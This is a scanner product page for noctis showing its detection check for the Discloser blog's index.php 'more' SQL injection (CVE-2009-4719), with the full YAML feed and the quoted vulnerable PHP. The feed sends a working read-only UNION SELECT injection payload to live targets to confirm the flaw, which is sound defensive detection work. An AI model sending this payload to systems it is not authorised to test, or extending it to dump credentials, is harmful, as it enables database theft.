Discloser — 1 vulnerability check

noctis ships 1 vulnerability check for Discloser, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Discloser index.php more SQL Injection

CVECVE-2009-4719
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/discloser/CVE-2009-4719.yaml

Discloser (a PHP/MySQL blog, last release 0.0.4) pastes the more parameter of index.php, unquoted and unchecked, into the SQL query that loads a post, without authentication, and prints the returned row, allowing SQL injection (an attacker can read the whole database, including the user accounts and their passwords).

This check requests index.php under the web root and the usual install paths. Where it answers, it sends a more value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written. On a Discloser install that has no post yet (the injectable query is then never reached), the check reports the Discloser version shown on the about page instead, with a lower confidence, as no fixed release exists.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. HTTP(S) request GET {{dir}}/index.php?more={{sc.q_union}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/index.php?page=aboutdiscloser
  6. Parses / computes the next value with a Rhai script
  7. Checks hit_dir for ^/ → finding QoD 97: Discloser index.php more SQL Injection (CVE-2009-4719)
  8. Checks ver_hit for ^/ → finding QoD 70: Discloser index.php more SQL Injection (CVE-2009-4719) — version check

References:

Feed source — tests/vulnerabilities/discloser/CVE-2009-4719.yaml
# Discloser — index.php more SQL injection — CVE-2009-4719
#
# index.php (Discloser 0.0.4-rc2 and 0.0.4, SourceForge "discloser" — the last release,
# Jan 2004; both tarballs ship the same code) includes inc/displayposts.php, which runs,
# with no authentication:
#     $more = $_GET['more'];
#     $query = mysql_query("select discloser_posts.*, discloser_users.username,
#         discloser_users.email from discloser_posts, discloser_users where
#         discloser_posts.poster = discloser_users.username and discloser_posts.id = $more");
#     $row = mysql_fetch_array($query);
#     $postclass = new $row[1];
#     $to_display = $postclass->display_longpost($row);
# and prints the row as "<span id=subject>$row[2]</span> … by <a href=…>$row[3]</a> …
# <div id="post">$row[6]</div><div id="longpost">$row[7]</div>". The value is unquoted;
# the query has 10 columns (posts: id, type, subject, poster, posttime, edittime,
# content, longcontent — setup/setup.sh — plus username, email). Column 2 (type) names
# the plugin class that renders the row, so the UNION row sets it to "long" (0x6c6f6e67).
# Before reading "more", the page lists the posts and stops with "No Posts.  Go to
# admin.php first, please." when there is none.
#
# Detection, per candidate install dir whose index.php answers 200:
#   1. (QoD 97) index.php?more=-1 UNION SELECT 1,0x6c6f6e67,C,C,5,6,C,C,9,10
#      with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b. The
#      vulnerable page prints NOCTIS<a*b>END (subject, poster, post). The product is never
#      in the request. Read-only: no table is selected from and nothing is written.
#   2. (QoD 70) only when the landing page shows "No Posts.  Go to admin.php first"
#      (fresh install: the injectable query is never reached), the
#      index.php?page=aboutdiscloser page reporting "Discloser version: 0.0.x". No
#      Discloser release fixed the flaw (0.0.4 is the last one; its currentversion()
#      still returns "0.0.4-rc1").
#
# Better than the source NASL:
#   - the reference check only compares a detected version string with "0.0.4.rc2", which
#     the real 0.0.4-rc2 / 0.0.4 never report ("0.0.4-rc1"); this feed proves the
#     injection with a database-computed value, which a page that only reflects the
#     request cannot produce;
#   - the web root and the usual install directories are probed, not only /Discloser
#     (docs/INSTALL serves the extracted tarball directory, discloser-0.0.4[-rc2], as is).
#
# Known limit: MySQL 3.23 has no UNION; an install there that has posts gets no finding
# (the version fallback is kept to installs with no post so a hardened install is clean).
#
# Source: OpenVAS/Greenbone NVT 2010/gb_discloser_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902138, GPL-2.0-only); advisory EDB-9349.
uid: 99f92cfd-25c5-4404-94e2-f09f2d71ee3c
name: "Discloser index.php more SQL Injection (CVE-2009-4719)"
description: |
  Discloser (a PHP/MySQL blog, last release 0.0.4) pastes the more parameter of
  index.php, unquoted and unchecked, into the SQL query that loads a post, without
  authentication, and prints the returned row, allowing SQL injection (an attacker can
  read the whole database, including the user accounts and their passwords).

  This check requests index.php under the web root and the usual install paths. Where
  it answers, it sends a more value that appends a UNION SELECT of an expression
  multiplying two random numbers. The vulnerability is confirmed when the page shows the
  product computed by the database, which never appears in the request. No stored data
  is read and nothing is written. On a Discloser install that has no post yet (the
  injectable query is then never reached), the check reports the Discloser version shown
  on the about page instead, with a lower confidence, as no fixed release exists.
cves: [CVE-2009-4719]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [discloser, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4719"
  - "https://www.exploit-db.com/exploits/9349"
  - "https://sourceforge.net/projects/discloser/"
  # OpenVAS/Greenbone NASL 2010/gb_discloser_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded more payload ──────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_union: "-1%20UNION%20SELECT%201,0x6c6f6e67," + c + "," + c + ",5,6,"
                  + c + "," + c + ",9,10" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-ver
    action: set_var
    var_name: ver_hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/discloser", "/Discloser", "/blog", "/discloser-0.0.4", "/discloser-0.0.4-rc2"]

  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}

  - id: init-about
    action: set_var
    var_name: about
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: landing

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?more={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && landing.status == 200'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == "" && landing.status == 200'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # Fresh install (no post): the injectable query is never reached — version fallback
  - id: fetch-about
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=aboutdiscloser"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && ver_hit == "" && landing.status == 200 && type_of(landing.body) == "string" && landing.body.contains("No Posts.  Go to admin.php first")'
    store_as: about

  - id: check-about
    action: script
    condition: 'hit_dir == "" && ver_hit == "" && about.status == 200'
    code: |
      let body = if type_of(about.body) == "string" { about.body } else { "" };
      let m = eregmatch("running Discloser version: (0\\.0\\.[0-9][0-9A-Za-z.-]*)", body);
      if type_of(m) == "array" && m.len() > 1 {
        (if dir == "" { "/" } else { dir }) + " (version " + m[1] + ")"
      } else { "" }
    store_as: ver_hit

  # ── Findings (inside the loop group: stop ends the scan at the first hit) ──
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Discloser index.php more SQL Injection (CVE-2009-4719)"
        description: "An unauthenticated index.php request whose more value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the user accounts and their passwords."
        remediation: "No fixed Discloser release exists (0.0.4 is the last version): remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: index.php?more=-1 UNION SELECT 1,0x6c6f6e67,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),… printed the database-computed value {{sc.want}}"
      stop: true

  - id: report-version
    action: match
    source: ver_hit
    pattern: "^/"
    on_match:
      finding:
        title: "Discloser index.php more SQL Injection (CVE-2009-4719) — version check"
        description: "The about page reports a Discloser version, and no fixed release exists. The site has no post yet, so the injectable query could not be exercised; once a post exists, the more parameter of index.php allows SQL injection without authentication."
        remediation: "No fixed Discloser release exists (0.0.4 is the last version): remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.40
        qod: 70
        evidence: "install dir {{ver_hit}}: index.php lists no post (No Posts.  Go to admin.php first), index.php?page=aboutdiscloser reports this Discloser version"
      stop: true

View these feeds on GitHub